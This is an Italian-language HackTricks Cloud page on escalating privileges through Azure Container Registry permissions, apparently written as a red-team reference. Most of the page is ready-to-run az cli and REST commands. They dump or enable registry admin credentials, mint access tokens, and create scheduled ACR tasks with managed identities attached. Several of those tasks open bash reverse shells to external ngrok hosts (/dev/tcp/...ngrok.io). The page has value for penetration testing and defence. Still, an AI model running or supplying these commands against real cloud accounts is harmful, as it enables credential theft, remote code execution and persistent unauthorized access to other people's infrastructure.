Az - Azure Container Registry Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Container Registry
Per ulteriori informazioni controlla:
Microsoft.ContainerRegistry/registries/listCredentials/action
Questo permesso consente allâutente di elencare le credenziali di amministrazione dellâACR. Questo è utile per ottenere accesso completo al registro.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Nel caso in cui le credenziali di amministratore non siano abilitate, avrai anche bisogno del permesso Microsoft.ContainerRegistry/registries/write per abilitarle con:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
Queste autorizzazioni consentono allâutente di creare un nuovo token con password per accedere al registro.
Per utilizzare az cli per generarlo come nellâesempio seguente, avrai anche bisogno delle autorizzazioni Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Queste autorizzazioni consentono allâutente di costruire ed eseguire unâimmagine nel registro. Questo può essere utilizzato per eseguire codice nel contenitore.
Warning
Tuttavia, lâimmagine verrĂ eseguita in un ambiente isolato e senza accesso al servizio di metadata. Ciò significa che il contenitore non avrĂ accesso ai metadata dellâistanza, quindi questo non è realmente utile per lâescalation dei privilegi.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Questa è lâautorizzazione principale che consente di creare e aggiornare unâattivitĂ nel registro. Questo può essere utilizzato per eseguire un codice allâinterno di un contenitore con unâidentitĂ gestita ad esso associata nel contenitore.
Questo è un esempio su come eseguire una reverse shell in un contenitore con lâidentitĂ gestita dal sistema ad essa associata:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Un altro modo per ottenere un RCE da un task senza utilizzare un repository esterno è usare il comando az acr task create con il flag --cmd. Questo ti permetterà di eseguire un comando nel container. Ad esempio, puoi eseguire una reverse shell con il seguente comando:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
Nota che per assegnare lâidentitĂ gestita dal sistema non hai bisogno di permessi speciali, anche se deve essere stata abilitata in precedenza nel registro e assegnati alcuni permessi affinchĂŠ sia utile.
Per assegnare anche un âidentitĂ gestita dallâutente avresti bisogno del permesso Microsoft.ManagedIdentity/userAssignedIdentities/assign/action per fare:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Per aggiornare il repo di unâattivitĂ esistente puoi fare:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Con questo permesso è possibile importare unâimmagine nel registro azure, anche senza avere lâimmagine localmente. Tuttavia, nota che non puoi importare unâimmagine con un tag che esiste giĂ nel registro.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Per rimuovere o eliminare un tag di immagine specifico dal registro, puoi utilizzare il seguente comando. Tuttavia, nota che avrai bisogno di un utente o di un token con sufficienti permessi per farlo:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

